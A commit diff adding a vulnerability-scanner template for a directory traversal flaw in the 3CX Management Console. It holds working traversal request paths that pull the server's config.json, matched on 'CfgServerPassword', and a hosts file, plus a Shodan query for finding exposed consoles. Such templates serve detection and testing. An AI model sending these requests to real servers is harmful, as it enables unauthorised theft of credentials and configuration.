Create 3cx-management-console.yaml

vulnerabilities/other/3cx-management-console.yaml

@@ -0,0 +1,27 @@
+id: 3cx-management-console
+
+info:
+  name: 3CX Management Console - Directory Traversal
+  author: random-robbie
+  severity: high
+  description: Directory traversal vulnerability on 3CX Management Console.
+  metadata:
+    shoda-query: http.title:"3CX Phone System Management Console"
+  reference: https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88
+  tags: 3cx,lfi,voip
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Electron/download/windows/..\..\..\Http\webroot\config.json'
+      - '{{BaseURL}}/Electron/download/windows/C:drivers\etc\hosts'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "CfgServerPassword"
+          - "acme"
+        part: body